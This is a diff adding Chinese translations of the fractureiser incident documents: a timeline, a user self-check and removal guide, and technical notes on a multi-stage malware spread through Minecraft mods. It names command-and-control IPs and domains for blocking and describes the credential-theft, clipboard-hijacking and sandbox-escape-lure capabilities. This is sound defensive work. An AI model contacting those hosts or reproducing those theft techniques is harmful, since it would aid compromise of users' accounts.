[CAFED00D](https://github.com/Col-E/CAFED00D) 解决。CAFED00D 是一款可过滤存在结构问题的字节码解析器。在这之后剩下的唯一问题只有试用版 Allatori 产生的初步混淆。 + +# 其他信息 + +更多细节可在这份实时更新的阶段 3 逆向工程文档中找到:https://hackmd.io/5gqXVri5S4ewZcGaCbsJdQ + +第二台 C&C 服务器上线时,一份未混淆的阶段 3 jar 意外在此存活了大约 40 分钟。 + +主要文件服务器托管于于位于荷兰的 Serverion 公司;公司在收到滥用举报后已下线该服务器。 + + +新的 C&C 服务器也已下线。时间:_2023-06-07 18:51 UTC_ + +除了 HTTP(S) 的 80/443 以及 SSH 的 22 端口,`85.217.144.130` 和 `107.189.3.101` 还开启了下列端口: + +* 1337 +* 1338(阶段 1 引用了此端口,用于创建 Debugger 连接) +* 8081(这是个 WebSocket 服务器,目前并无明显功能,也无恶意代码引用此端口) +* 8082(没人从这个端口里试出任何东西,也无恶意代码引用此端口) +* 8083(阶段 1 使用了此端口) + +奇妙的是,fractureiser 的 Bukkit 用户页显示 "Last active Sat, Jan, 1 2000 00:00:00" https://dev.bukkit.org/members/fractureiser/projects/(最后一次活跃时间:2000 年 1 月 1 日(星期六)0 时 0 分 0 秒) + +## 样本 + +请在 IRC 聊天室中请求样本的只读或读写权限。阶段 3「客户端」问的反编译结果可在此找到:https://github.com/clrxbl/NekoClient + +## 反思 + +虽然现在讨论事后追踪有点为时尚早,这场面对恶意软件的失败业已揭示了 Minecraft 模组生态中的数个致命缺陷。本小节将用作头脑风暴区,思考我们遇到了哪些问题,以及应该如何改进。 + +#### 1. 模组仓库的审核机制不完善 + +CurseForge 和 Modrinth 在「审核」模组的时候究竟在审些什么?我们作为社区应该对此有充分的了解,而不是将希望全寄托在「隐晦式安全」(Security through obscurity)上。 + +我们是否需要进行某种形式的静态分析?(williewillus 表示他有有若干想法) + +#### 2. 模组缺少数字签名 + +和广义上的软件业的习惯不同,模组开发者通常不会在发布并上传模组的时候,使用签名用密钥为模组签名,以证身份。如果我们有一套签名以及公钥分发/信任机制,类似今天 CurseForge 账号被盗这样的事件就不至于落到这个地步。 + +然而,数字签名本身产生更大的问题:如何建立对密钥的信任?「这个 jar 有这个签名」这个事实不能只局限于 CurseForge/Modrinth 之内,还必须要让模组加载器和用户知道,并能独立验证签名的有效性。 +Forge 数年前就已在尝试引入对签名机制的要求,然而结果不甚理想。 + +#### 3. 缺少可重现构建(Reproducible Build) + +Minecraft 相关工具链只能用「一团糟」来形容,这些工具链构建出的产物通常也无法重现。使用动态 `-SNAPSHOT` 版本号的构建脚本随处可见,其结果自然也不可能复现,进而导致无法对构建流程进行审计(Audit)。 + +在未来,出现使用 Gradle 插件作为攻击媒介的恶意软件并非完全不可能。 + +#### 4. Minecraft 本身缺少沙箱保护 + +Java 版的模组开发一向都可以使用整个 Java 生态的能力,然而这只是这把双刃剑中的其中一面,另一面则是给了恶意代码大开杀戒的可乘之机。 +Minecraft 本身并无任何形式的沙箱保护,服务器通常也不会在沙箱中运行,除非服主有足够多的服务器运维相关知识。 + +要实现严丝合缝的沙箱保护绝非易事,尤其是在 Linux 这种 SELinux/AppArmor 这种用户体验差到根本没人用的地方。 diff --git a/lang/zh-CN/docs/timeline.md b/lang/zh-CN/docs/timeline.md new file mode 100644 index 00000000..bd363c5f --- /dev/null +++ b/lang/zh-CN/docs/timeline.md @@ -0,0 +1,207 @@ +Last updated at Jun 9th, 2023 +最后更新于二〇二三年六月九日 + +### 时间线 + +时间线顺序是从下往上,最上方的事件为最新消息。 + +--- + +*2023-06-09 07:48 UTC* + +目测阶段 3b(Skyrage)的作者失去了 `skyrage.de` 域名的控制权(解析服务器及 Registrar 信息变更,DNS 解析记录消失)。 + +--- +*2023-06-08 10:50 UTC* + +阶段 3b 的指挥控制(Command & Control,下简称 C&C)服务器(Skyrage 相关)`95[.].214.27.172` 和 `171[.]22.30.117` 已无法访问。将持续保持对潜在 DNS 解析记录变化的观测。 + +该时间为服务器被发现无法访问的时间,并非事件发生时间。 + +--- +*2023-06-08 05:11 UTC* + +Prospector 发布公告称: + +> An update from Modrinth, all files uploaded in the last 10 months +> (about half of our files) have been scanned and not one infected +> file has been found. +> +> 「Modrinth 最新动态:最近 10 个月内上传的文件(占全部 Modrinth 上托管文件的一半) +> 已经过扫描,未发现感染。」 + +--- +*2023-06-08 01:12 UTC* + +事态再次逐渐平息,杀毒软件逐步开始可以检测并查杀阶段 1 及以上的 jar 文件。 +计划于美国(译注:太平洋日光节约时间,PDT)次日早上召开会议,讨论下一步行动。 + +会议将以半闭门方式召开,但会议纪要及录音将会在会议后发布。 + +CurseForge 仍在扫描其平台上的全部模组。 + +--- +*2023-06-07 18:51 UTC* + +第二个 C&C 服务器 `107[.]189.3.101` 的托管方停止其服务。 + +--- +*2023-06-07 16:00 UTC* + +因 HackMD 访问时产生的巨大延迟,本文档转移至 GitHub 仓库托管: +https://github.com/fractureiser-investigation/fractureiser + +--- +*2023-06-07 14:40 UTC* + +未混淆的阶段 3 文件现已替换为混淆后的版本,后续则换成了另一个文件。 + +这次出现的文件是 Skyrage 更新器。Skyrage 是款已知会针对使用 Spigot 的 Minecraft 服务器的恶意软件。 + +在一段时间后,Skyrage 又被换成了 Meteor 端。 + +(TODO 此处时间线并不准确) + +--- +*2023-06-07 14:20 UTC* + +对新 IP 的分析引出了一份完全无混淆的阶段 3 文件,疑似为意外上传。 +该版本已在此仓库归档:https://github.com/clrxbl/NekoClient + +--- +*2023-06-07 14:19 UTC* + +CloudFlare Pages 域名已下架。 + +--- +*2023-06-07 14:05 UTC* + +CloudFlare Pages 域名现在指向一个新地址:107.189.3.101。 + +--- + + +*2023-06-07 08:52 UTC* + +事态逐渐平息。我们现在对该恶意软件的早期阶段(译注:阶段 0、1、2)有了充分了解,同时我们在进行阶段 3 的逆向工程。 +阶段 1 目前处于休眠状态。 + +我们将在美国时间的次日上午某一时刻恢复动态更新。(译注:未指明具体时区) + +---- +*2023-06-07 08:09 UTC* + +我们仍在逆向阶段 3,参考下文章节了解技术信息。(译注:在迁移到 GitHub 前,「技术分析」一小节位于原文档的「时间线」一小节下方。) + +---- +*2023-06-07 07:37 UTC* + +CurseForge 在其 Discord 服务器 #news 频道发布下列声明: + +> Hey everyone, +> +> We would like to address the current situation that is ongoing and highlight some important points: +> +> * A malicious user has created several accounts and uploaded projects containing malware to the platform +> * Separately a user belonging to Luna Pixel Studios (LPS) was hacked and was used to upload similar malware +> * We have banned all accounts relevant to this and disabled the LPS one as well. We are in direct contact with the LPS team to help them restore their access +> * We are in the process of going through ALL new projects and files to guarantee your safety. We are of course holding the approval process of all new files until this is resolved +> * Deleting your CF client isn’t a recommended solution as it will not solve the issue and will prevent us from deploying a fix. We are working on a tool to help you make sure you weren’t exposed to any of this. In the meantime refer to information published in #current-issues. +> * This is relevant ONLY to Minecraft users +> * To be clear **CurseForge is not compromised! No admin account was hacked.** +> +> We are working on this to make sure the platform remains a safe place to download and share mods. Thank you to all authors and users who help us with highlighting, we appreciate your cooperation and patience ❤️ +> +> Stay tuned for more updates and we will clear this issue. + +---- +*2023-06-07 07:24 UTC* + +Darkhax 联系了 CurseForge 代表,确认了受感染文件是通过网页界面上传,而非透过 API 上传。 + +CurseForge 已暂停全部新模组的审批工作,并等待事态明朗,所有受感染文件全部清除。 + +CurseForge 同时已对上传者 IP 展开调查,以确认这些 IP 是否与对应账号的真正持有者相匹配。 + +---- +*2023-06-07 7:03 UTC* + +我们相信我们发现了阶段 3(`client.jar`)的真正功能,并试图在本文档中记录下来。所有人注意,这是个坏消息。 + +在文档成型之前——简单来说,`client.jar` 会对**整个文件系统**进行扫描(译注:即「全盘扫描」),找出所有疑似模组 jar 的文件,并感染所有疑似模组文件使其进入阶段 0。这包括**整个 Gradle 和 Maven 缓存**,以及一大堆模组开发者根本不会怀疑的死角。由此,是次事件的影响范围已从「几个怪模组」扩展到了**可能无穷大**。 + +我们认为这可以解释感染的起源,并且 CurseForge 并非最初的传播媒介。 + +---- + +*2023-06-07 6:27 UTC* + +调查随着大部分团队成员需要睡觉而放缓。unascribed 设立了专门的电子邮箱,用于收集样本及其他有用信息。williewillus 目前在整理文档,并将 D3SL 提供的信息整理入文档。 + +---- + +*2023-06-07 6:20 UTC* + +D3SL 通知了(我们的)非官方 Discord,称其获得了未截断的完整版阶段 3 `client.jar`,以及一份对其行为的深入分析报告。其还表示该样本是在数周前发现的,研究工作也随之展开。由此,我们已获得该恶意软件会下载的全部文件的样本。 +---- + +*2023-06-07 5:27 UTC* + +我们发现了有可能是阶段 3 本体的文件,但文件本身遭截断。该文件经过深度混淆,包含有一 DLL 文件,用于试图从 Windows 操作系统的凭证储藏室中窃取身份凭证信息。 + +---- + +*2023-06-07 4:57 UTC* + +我们发现了上传时间标记为四月的文件。对此,有两种解释:要么这个日期是窜改后的,要么这意味着该恶意软件的传播时间远超预期。很多涉及此事的账号的最后活跃时间是 1999 年,大概率为 CurseForge 旧账号迁移的历史遗留,但仍然值得注意。 + +Modrinth 工作人员正在调查是否有上传到 Modrinth 上的文件被感染。针对最近一段时间的快速检查显示并无文件感染。 + +---- + +*2023-06-07 4:40 UTC* + +攻击规模似乎比预期要大:含恶意软件的文件的上传时间可追溯到数周前,最早的可追溯回 5 月 20 日。我们之所以今天得以发现是因为攻击方入侵了一款知名整合包。 + +--- + +*2023-06-07 3:38 UTC* + +服务器提供商下架了 C&C 服务器。若 CloudFlare Page 链接仍然存活,我们预计会有新 C&C 服务器上线。我们在时刻对此保持监视。 + +---- + +*2023-06-07 3:26 UTC* + +匿名用户向我们提供了可能的阶段 2 jar 文件。该用户其声称为一服务器托管商工作。 + +---- + +*2023-06-07 2:26 UTC* + +我们在 EsperNet 上创建了 #cfmalware 频道,以协调散落在数个 Discord 服务器及 Matrix 聊天室中的讨论。 + +---- + +*2023-06-07 0:40 UTC* + +本文档的维护团队了解到,有人在未经授权的情况下发布了 Better Minecraft 整合包更新,其中包含有恶意软件。 + +---- + +*2023-06-01 to 2023-06-04* + +D3SL 在发现恶意文件的 CPU 及内存消耗不正常后产生怀疑,并展开调查。以下为具体行动顺序: + +1. 对 Java 可执行文件发出的防火墙放行请求产生怀疑,并选择阻断请求。 +2. 无法访问自行托管的服务,随后查阅事件记录,发现全部 TCP/IP 端口被封锁 +3. 执行 `netstat`,发现存在一运行中的 jar 文件对应的 PID,对应的进程占用了海量端口资源 +4. 识别出存在恶意行为的 `javaw.exe`,其所运行的 `libwebgl64.jar` 随后被识别为恶意软件。 + +从这里开始,Tzalumen 协助逆向了最初的 `byte[]` 混淆代码,并从远端服务器上手动捕获了完整的全部文件。 + +D3SL 通过特殊渠道向 Windows Defender 和 Malwarebytes 提供了除 `lib.dll` 外的全部原始文件的样本(包含反混淆后的版本)、 +解码后的服务器地址、以及一份感染流程及恶意行为的分析报告。CurseForge 也获得了有关通知。关于此恶意软件的信息此时仍不对外公开, +以防止攻击者获得有关消息。 + +---- diff --git a/lang/zh-CN/docs/users.md b/lang/zh-CN/docs/users.md new file mode 100644 index 00000000..5ab3541e --- /dev/null +++ b/lang/zh-CN/docs/users.md @@ -0,0 +1,312 @@ +Last updated at Jun 9th, 2023 +最后更新于二〇二三年六月九日 + +# 模组玩家自查指南 + +如果你**只**通过可信的启动器(例如官方启动器、Prism Launcher)玩原版游戏,且未接触过任何形式的模组:你百分之百安全了,同时近期不要接触任何形式的模组。 + +如果你是模组玩家,那么你需要检查你的设备是否有感染 Fractureiser,以确保你的设备及个人信息不暴露在危险中。你可以根据下文的教程来进行自我检查。 + +### 这个病毒还在传播吗? + +**否。呃,大概吧。** + +根据我们目前已知的信息,我们认为目前公开发布的模组及整合包中均已无 `fractureiser` 病毒。 + +我们目前的建议是,已经使用过阶段 2 扫描器进行排查并确认安全的玩家可以放心继续玩 Minecraft 了。 +然而,考虑到 CurseForge 和 Modrinth 均已恢复至正常状态,我们不能排除有不怀好意之徒跟风作案,上传新病毒的可能性。 + +我们正在联系所有有关组织,制定应对此类事件的协议。 + +如果你想放心玩游戏,请务必阅读本页所介绍的诊断流程,以及这之后的「如果没感染该做什么」一小节的内容。 + +### 目录 + +* [到底发生了什么?](#%E5%88%B0%E5%BA%95%E5%8F%91%E7%94%9F%E4%BA%86%E4%BB%80%E4%B9%88) +* [我有没有中招?](#%E6%88%91%E6%9C%89%E6%B2%A1%E6%9C%89%E4%B8%AD%E6%8B%9B) +* [我中招了,怎么办?](#%E6%88%91%E4%B8%AD%E6%8B%9B%E4%BA%86%EF%BC%8C%E6%80%8E%E4%B9%88%E5%8A%9E) +* [我没中招,然后呢?](#%E6%88%91%E6%B2%A1%E4%B8%AD%E6%8B%9B%EF%BC%8C%E7%84%B6%E5%90%8E%E5%91%A2) +* [常见问题解答](#%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98%E8%A7%A3%E7%AD%94) +* [技术问题解答](#%E6%8A%80%E6%9C%AF%E9%97%AE%E9%A2%98%E8%A7%A3%E7%AD%94) + + +若你对 Fractureiser 有任何问题,请务必先完整阅读本文档,尤其是结尾 FAQ 部分,基本上可以解答你想到的大部分问题。 + + +## 到底发生了什么? + +恶意软件的作者向模组托管网站 CurseForge 及 Bukkit 插件发布网站 dev.craftbukkit.org(注意不是 Bukkit 本身)上传了数个伪装成无害模组或插件的恶意软件。有一位社区知名的整合包开发团队的开发者在不知情的情况下,下载试用了其中一个模组,直接导致其设备遭到感染。而被感染的文件中,就有即将要上传至 CurseForge 的项目文件。 + +同样的过程在数位 CurseForge 及 dev.craftbukkit.org 用户身上重演,进而感染了其他数个知名插件及模组。**有报告指最早的感染记录可追溯到(2023 年)四月中旬。** + +与此同时,恶意软件作者开始尝试暴力破解 CurseForge 上大流量创作者的登录信息。我们目前仍不清楚登录信息泄漏是因为暴力破解还是因为账号持有者的设备遭木马入侵。 + + +该恶意软件感染分数个「阶段」,每个阶段均负责下载并执行下一阶段的程序。我们目前已知其拥有三个阶段(阶段 1、2、3);同时我们将受感染的模组文件称之为「阶段 0」,该阶段负责「启动」整个感染流程。 + +阶段 3 是整个恶意软件的「总指挥」。根据我们收集到的证据显示,此阶段的恶意软件会执行下列操作: + +* 将自身传播到整个文件系统中的**全部** `jar` 格式文件中,可能包括不是从 CurseForge 或 BukkitDev 上下载的文件,甚至可能包括其他任意 Java 程序 +* 通过网页浏览器窃取 Cookies 和登录信息 +* 将剪贴板上的加密货币钱包地址替换为其他地址,据信替换后的地址由攻击者所有 +* 窃取 Discord 登录信息 +* 窃取 Microsoft 及 Minecraft 登录信息 + +(参阅[技术细节](tech.md)了解更多信息。) + +考虑到其行为,我们有**十足把握**确定,这是一次**针对 Minecraft 模组生态的攻击**。形势不容乐观。 + +**我们在此强烈建议,不论你从哪里下载模组或插件,都应对下载到的文件保持最高程度的警惕,直至后续通知发布。** 尽管该恶意软件的控制服务器目前已下线,**任何过去 2-3 周间从 CurseForge 及 Bukkit 插件仓库下载的文件都应视作可能存在恶意软件感染**。某些安全防护软件已将 Fractureiser 录入其特征库,但在全体杀软跟进之前,请务必小心行事。 + +**考虑到当前形势,我们无法保证任何托管服务的绝对安全**。无论你从哪里下载模组,请务必保持戒备。要知道,各种 Maven 仓库也可能会被感染,且此恶意软件的流行时间可能已达数月。 + +目前,攻击者的服务器已下线,因此**新感染**已不可能,但已感染的设备仍会受影响。 + + + +### 等等,TMD 到底啥是「阶段」? + +![阶段示意流程图](./media/stages.png) + +## 我有没有中招? + +该恶意软件的感染分数个阶段,所以这个问题实际上是两个问题: + +### 我的模组文件有没有感染「阶段 0」? + +目前,已有相当多开发者编写了各式扫描软件,可用于判定是否你的模组文件是否已进入「阶段 0」感染期。 + +* Overwolf 自己的[扫描器](https://github.com/overwolf/jar-infection-scanner/releases) + * 如果你要检查你的整个游戏,那我们推荐此选项。只需告诉扫描器你把 CurseForge App 或者其他整合包装哪里了就行。 + * 该扫描器是独立程序,不需要 Overwolf App 即可使用。 +* douira 的 [网页版在线扫描器](https://douira.github.io/fractureiser-web-detector/) +* cortex 的 [nekodetector](https://github.com/MCRcortex/nekodetector/releases) + * 点「Assets」获取编译好的程序的下载链接。需要安装 Java 方可运行。 + +在完全隔离的环境,且文件被删除或从未运行的情况下,阶段 0 感染并不会构成威胁。 + +### 我的系统中是否存在「阶段 2」感染的文件? + +阶段 2 感染相关文件的出现,代表着恶意软件已成功执行了阶段 0 和 1。 +如果你找到了任何阶段 2 感染的文件,你的系统很可能已经**完全感染**,请务必往下读以了解应对措施。 + +很多防病毒软件已开始识别阶段 2 相关的文件。若你使用的杀毒软件已提示你相关文件已发现并被清除,请跳到「我中招了,怎么办」一节。 + +若你不确定,你可以根据下列流程手动检查,请按你的平台选择对应流程: + +#### Windows 流程 + +* 打开开始菜单,输入 `%localappdata%`,如下图所示 + + +* 你需要确保资源浏览器已开启 `显示隐藏文件`,并取消 `保护操作系统文件` 的勾选: + * 该选项在 View > Options 中 + * 如果你不知道如何操作,[这里有视频教程](https://youtu.be/KLTlTlnXeKs)。 + * Windows 11 用户可以在顶部 Ribbon 导航条的 "View" 按钮中找到一样的选项,或者点最右侧「……」按钮亦可。 + +* 找到名为 `Microsoft Edge` 的文件夹。注意中间多了个空格!不带空格的 `MicrosoftEdge` 才是真正的 Edge 浏览器使用的文件夹名字。这个病毒只是通过这样命名来伪装自己。 + * 真正的 Edge 浏览器目录也可能是叫 `Microsoft\Edge`(即,在 `Microsoft` 文件夹里有个叫 `Edge` 的文件夹)。 + * 真正的 Edge 浏览器目录**不一定**存在。如果你没找到,那你也是安全的。 + * 你也可能同时找到 `MicrosoftEdge` 和 `Microsoft` 文件夹里的 `Edge`,这样也是安全的。 +* 如果你找到了带空格的 `Microsoft Edge`,那么你已被感染了。请立即完整删除整个文件夹,以及里面的所有文件。 + * 如果系统提示你无法删除,请先通过任务管理器强制停止所有正在运行的 Java 程序。 + +#### MacOS 流程 + +该恶意软件似乎并不影响 MacOS,所以你应该没事。 + +**为以防万一,我们建议你仍务必时刻关注本文档更新。** + +#### Linux 流程 + +首先,你需要确认你列出文件列表的程序可以显示隐藏文件。大部分带 GUI 的文件管理器支持 Ctrl+H 快捷键显示隐藏文件。在终端(命令行)界面中则可使用 `ls -A` 列出包括隐藏文件在内的所有文件,或使用 `ls -lha` 显示更多详细信息。 + +若你找到下列任何文件,那么你已被感染了,请立即完整删除这些文件: +* `~/.config/systemd/user/systemd-utility.service` +* `/etc/systemd/system/systemd-utility.service` +* `~/.config/.data/lib.jar` + +在此之后,如果你符合下述情况:通过 `journalctl` 检查是否有你没有印象的变更。你可以通过 `journalctl -exb`(调阅 system log 系统日志)或 `journalctl -exb --user`(调阅 user log 用户日志)确认这一点,同时执行下列命令刷新你的 `systemd` 服务: + +```sh +sudo systemctl daemon-reload # Enter your user password +systemctl --user daemon-reload +``` + +#### 脚本 + +*如果你不知道如何运行 PowerShell 或者 Bash 脚本,那么这些脚本不是为你准备的。* + +[PrismLauncher 网站上提供了](https://prismlauncher.org/news/cf-compromised-alert/#automated-script)可自动检查感染情况的 PowerShell 及 Bash 脚本,如果你有一定技术水平的话,可使用这些脚本辅助查杀。Overwolf(CurseForge 母公司)已发布阶段 2 感染检查工具,使用 C# 编写:https://github.com/overwolf/detection-tool + +## 我中招了,怎么办? + +**重要提示**:我们目前仍不清楚 Fractureiser 的全部能力以及其传播动机,所以在出现完全查杀指南之前,请保持最高程度的戒备。下文中列出的所有对策均针对**我们目前掌握的信息**,所以还请时刻关注我们的最新消息,我们会在发现关键信息时在第一时间披露。 + +若你的设备已感染 Fractureiser 阶段 2,你的设备有相当大可能性也已遭阶段 3 感染。此时,你的最佳选项是:假设你的系统已被**完全入侵**;此时你应该: + +* 备份所有有价值数据到 U 盘或者其他硬盘上(平时你也应该有这样的习惯!) +* 在另一台设备上,修改被感染设备上登录的所有服务的账号密码(Discord、电邮、……)。考虑使用诸如 [BitWarden](https://bitwarden.com) 之类的密码管理器。 +* 若你还没有使用 2FA(Two-Factor Authentication,双因子验证),不管是专用的 App 还是手机短信,但你使用的服务支持 2FA,请立即开始使用。 +* 如果条件允许,请联系当地的专业维修人员对你的设备进行彻底检查,或者(作为更保险的备用方案)直接格盘重装操作系统。 +* 阅读下文中「我没中招」一节。这其中内容也适用于已感染的情况。 + +## 我没中招,然后呢? + +如果阶段 2 扫描器未发现任何问题,那么你的设备有可能并未受影响,你可以继续放心玩游戏了。 + +虽然 `fractureiser` 已经清除完毕,未来我们还可能会遭遇新病毒,除非我们有一套应对此类事件的协议。 +如果你想继续玩游戏,我们建议你: + +* 只玩那些你已经下载并确认安全的模组和整合包。 +* 避免下载 6 月 8 日之前由新作者或未知作者上传的文件,理由同上一条。 +* 避免更新整合包。 +* 时刻关注本团队的新动态,了解最新的检测手段,以在未来面对此类事件时做好准备。 + +## 常见问题解答 + +### CurseForge 被入侵了吗? + +CurseForge 本身没有被入侵,只有其个别用户账号被盗。这不是 CurseForge 平台的问题,CurseForge 只是意外成为了事件发生地。CurseForge 也已[就此事发文](https://support.curseforge.com/en/support/solutions/articles/9000228509-june-2023-infected-mods-detection-tool/),阐述了其目前的状况,以及正在部署的应对措施。 + +### Modrinth 有没有事? + +Modrinth 已对其站内 10 个月内上传的所有文件进行了全盘检查,没有发现受感染文件。尽管如此,我们在此仍然建议,在下载任何模组文件时,保持最大程度的警惕。Modrinth 没有受影响纯粹是因为运气。 + +### Modrinth 更安全吗? + +这不是网站的问题。Modrinth 目前的安全程度,可以说,和 CurseForge 在同一水平上。 + +### CurseForge 怎么让这玩意过审的? + +阶段 0 感染中所执行的代码,并不一定能引起自动化审核系统的怀疑,且有一定概率确为作者需要使用的代码。事实上,此前一部分通过启发式检测来判定文件是否存在阶段 0 感染的方式产生了相当多的误报,有些甚至将包括 Quark(夸克)在内的知名模组也错标为「阶段 0」感染。 + +事实上,考虑到你有无数种方法隐藏你的代码的真正目的,此类全平台范围内的预防机制并不行得通。 + +### 哪个杀毒软件能查杀这个? + +在我们编写本文档时,杀软也在更新其特征库,所以我们在此建议不要过度依赖杀软,先使用上文所述自查流程进行初步排查。 + +### 多人联机是否安全? + +安全,在你没有下载联机所需模组的前提下,单纯通过多人游戏无法感染此病毒/恶意软件。 + +### 基岩版是否安全? + +安全。该恶意软件只影响 Java 版。 + +### 第三方客户端(Lunar、Badlion 等)安全吗? + +见下一条。 + +### OptiFine/Sodium/Iris/Create/Essential/[填入任意模组名] 安全吗? + +**我们无法确认任何模组是否安全。** + +处于阶段 3 的病毒的功能之一便是尽可能感染你的电脑上的所有 `.jar` 文件,注意是**所有 `.jar`**,包括 Minecraft 本体(原版和装了模组均受影响)、Minecraft 模组文件、Spigot 插件、甚至其他 Java 应用程序。所以,如果你的电脑已经存在阶段 3 感染,那么不论你从哪里下载模组,下载什么模组,最终都会感染,此时「安全」根本无从谈起。你**首先**应该做的是按前述流程进行查杀。 + +截至目前,所有 CurseForge 上已知的被感染模组均已被删除。CurseForge 还[公布了已知被感染模组清单](https://support.curseforge.com/en/support/solutions/articles/9000228509-june-2023-infected-mods-detection-tool/),位于该页面最下方,清单中提及的模组均已被下架删除。Modrinth 目前已扫描 10 个月内在其上发布过的所有模组,未发现有感染。 + +然而,这**并不能保证有隐藏得足够深的漏网之鱼**。请根据[我有没有中招](%E6%88%91%E6%9C%89%E6%B2%A1%E6%9C%89%E4%B8%AD%E6%8B%9B)一节中所述内容检查某一个 jar 文件是否存在阶段 0 感染,并在此之后对所有新下载的模组文件保持最高程度的警戒。 + +### 感染的范围究竟有多大? + +CurseForge 自称,受感染文件在最终下架删除前,下载量高达 6000 余次。引述 CurseForge 在其官方 Discord 中发布公告之原文: + +> Just to give perspective, this accounts to about 0.015% of CurseForge’s daily downloads +> for Minecraft. +> +> 「从另一个角度来看,这些下载量仅占[CurseForge 的] Minecraft 分区日下载量的 0.015%。」 + +### 是不是有人想毁掉 Minecraft 1.20 的发布活动? + +目前的线索显示:这只是巧合。该恶意软件在 1.20 日发布日早上被大范围披露时,就已经悄无声息地传播了一段时间了。 + +## 技术问题解答 + +### Fractureiser 有没有虚拟机(Virtual Machine,VM)逃逸能力? + +**没有。** + +阶段 3 **确有**用于**试图**从所谓[「Windows Sandbox」](https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-overview)中逃逸的代码。然而此过程并非自动完成:病毒会在检测到 Windows Sandbox 时,试图修改剪贴板中内容,以引诱你将指向恶意软件的快捷方式粘贴出来(译注:指粘贴到宿主机中,以此引诱用户双击,进而触发恶意行为)。 + +要注意的是,此类所谓「粘贴板逃逸(Clipboard escape)」技术并不新鲜,且防御方式也很简单:不要在宿主机(Host)和虚拟机(Guest)之间分享剪贴板内容就行了。如有需要,请使用比「Windows Sandbox」更重量级的虚拟机软件,并禁用诸如 VirtualBox 的「Guest Addons」、Hyper-V 的「integration services」之类的附加软件。 + +(**真正**的虚拟机逃逸漏洞实际上价值连城(译注:原文直译为「价值上百万美元」),单凭一个玩 Minecraft 的小孩并不一定搞得定。我们有理由相信,这个恶意软件的作者本身也并非训练有素的程序员。) + +### Fractureiser 能通过网络传播吗? + +根据我们掌握的信息,Fractureiser 并不包含通过网络传播的功能,但我们并不能排除这个可能性。 +与我们合作的一位安全研究员收到了相关警报,但经调查发现是与此次事件无关的恶意程序,只是文件名碰巧相似,最终认定为假警报。 + +### CurseForge 和 Modrinth 对此有何反应? + +CurseForge 开发了开源的[阶段 2/3 检测工具](https://github.com/overwolf/detection-tool)以及[阶段 0 检测工具](https://github.com/overwolf/jar-infection-scanner),同时扫描了整个 CurseForge 上**所有的**模组及插件以确认阶段 0 感染情况,并下架删除了所有发现的受感染文件。 + +Modrinth 也已对 10 个月内上传的所有模组及插件完成了阶段 0 感染状况,结果显示并未发现感染。 + +两家平台均计划在其文件上传流程中引入某种形式的全自动「病毒检测」机制。然而,鉴于此类基于 Java 的恶意软件通常为定制,实现这一点并非易事。 + +### 我应该在我的防火墙/路由表里阻断哪些 IP 地址和 URL? + +Fractureiser 相关代码会试图访问下列 URL 或 IP 的诸多端口: + +* 在阶段 0 中发现的硬编码地址,同时亦是首个发现的「指挥控制」(Command & Control,下简称 C&C)服务器地址:`85.217.144.130` +* 第二个发现的 C&C 服务器地址:`107.189.3.101` +* 阶段 1 使用的备用 URL,同时也是阶段 2 的 C&C 服务器主机名:`files-8ie.pages.dev` + +同时亦有证据显示 Fractureiser 还试图访问主机名为 `v2202209151437200088` 的服务器的 25575 端口,原因未知,推测为旧版恶意软件遗留。 + +此外,我们也建议将下列下列和 Skyrage 有关的地址填加入防火墙中(再次强调,尽管有人因此恶意软件而被 Skyrage 感染的可能性**很低**,但保守起见,一并加上去也无妨): + +* `95.214.27.172` +* `connect.skyrage.de` +* `t23e7v6uz8idz87ehugwq.skyrage.de` +* `qw3e1ee12e9hzheu9h1912hew1sh12uw9.skyrage.de` +* *也许应该直接屏蔽整个 `skyrage.de` 二级域下的所有域名* + +请勿点击访问上述地址!这一点想必不言而喻。 + +### 我们能否要求 CurseForge/Modrinth 出台新规,禁止模组下载其他文件? + +向 CurseForge 上传恶意软件已经是违反其使用规定的了。同时,这样的规定还会误杀其他有合理理由下载文件的模组。 + +### 模组加载器本身有没有可能内置「防病毒」或「沙箱」功能? + +「防病毒」:大概不行,理由同常规杀软起初也无法探测。杀毒软件只能检测已知恶意软件,不能查出未知恶意软件。 + +「沙箱」:在类加载前就进行「这个类的代码是否『安全』?」的检查,无疑会将整个社群推向一场模组加载器开发者和恶意软件开发者之间的「猫捉老鼠」游戏中。 + +阻止 Java 代码引用某一特定类(比如 `URLClassLoader`)相当困难,因为你也可以在 `Class.forName` 中用到这个类,而这个用法有相当多的合理用途。如果你直接禁止引用,或者只限定某一列表内的类对其直接引用,你通常还能在你的 classpath 里找到**另一段代码**可以帮你调用 `Class.forName`,然后你会开始阻止更多的类,最终掉进无穷无尽的「打地鼠」循环中。 + +沙箱化 Java 基本上不可能,可参考[《Twenty Years of Escaping the Java Sandbox》](https://www.exploit-db.com/papers/45517)等文章了解其中原因。 + +Java 编写的模组本质上就是任意代码的集合。你理应将其视作和 `.exe` 一样,有执行任意代码能力的程序。 + +### 为什么模组文件没有密码学签名,这样不就可以从源头阻止恶意软件窜改了吗? + +这样做的问题之一在于,签名不能阻止恶意软件,带密码学签名的病毒仍然是病毒。如果我们允许自签名,甚至还不能防窜改:病毒只需删除原有签名(即「删除 `META-INF` 目录」)然后用自己的密钥重新签一份就是了。事实上,这个情况已经出现了:本次事件的主角 Fractureiser 就有删除其感染的 jar 内的数字签名的代码。 + +模组签名搭配在线验证**听起来很美好**,但也有代价。我们将就此事[召开会议](2023-06-08-meeting.md),邀请社区中各个生态的代表人物,共同讨论应对方向及策略。 + +### 禁止模组下载可执行代码是否可行? + +不可行。你在下载完成之前无法确认你下载文件里是否有可执行代码,下载完后也无法控制程序对这个文件的操作。 + +* 如果我的模组只下载一个 Java class 文件? +* 如果我的模组下载的 Java class 文件需要从尾往头读,所以不能一眼看出这是一个 Java class 文件? +* 如果我的模组下载了加密后的 Java class 文件? +* 如果我的模组下载了 Java 源代码,在本机编译成 class 文件后运行? +* 如果我的模组下载了 Python 脚本? +* 如果我的模组下载的文件内容是英语写的散文,不过这篇散文**恰巧**有如下特征:有偶数个词的一句话代表 0,有奇数个词的一句话代表 1?尽管这表面上就是个纯文本文件,内容是篇散文,我也可以选择根据上述规则,将其翻译为一串 0 和 1 组成的 `.exe` 可执行文件。 + +### 此次事件是否与当下流行的 Spigot 插件恶意软件有关? + +有可能!有迹象显示此次恶意软件和已知恶意软件 `Skyrage` 之间有所关联——本次事件中的恶意软件作者曾试图在备份 C&C 服务器中上传和 Skyrage 相关的 `.jar`,但随后 CloudFlare 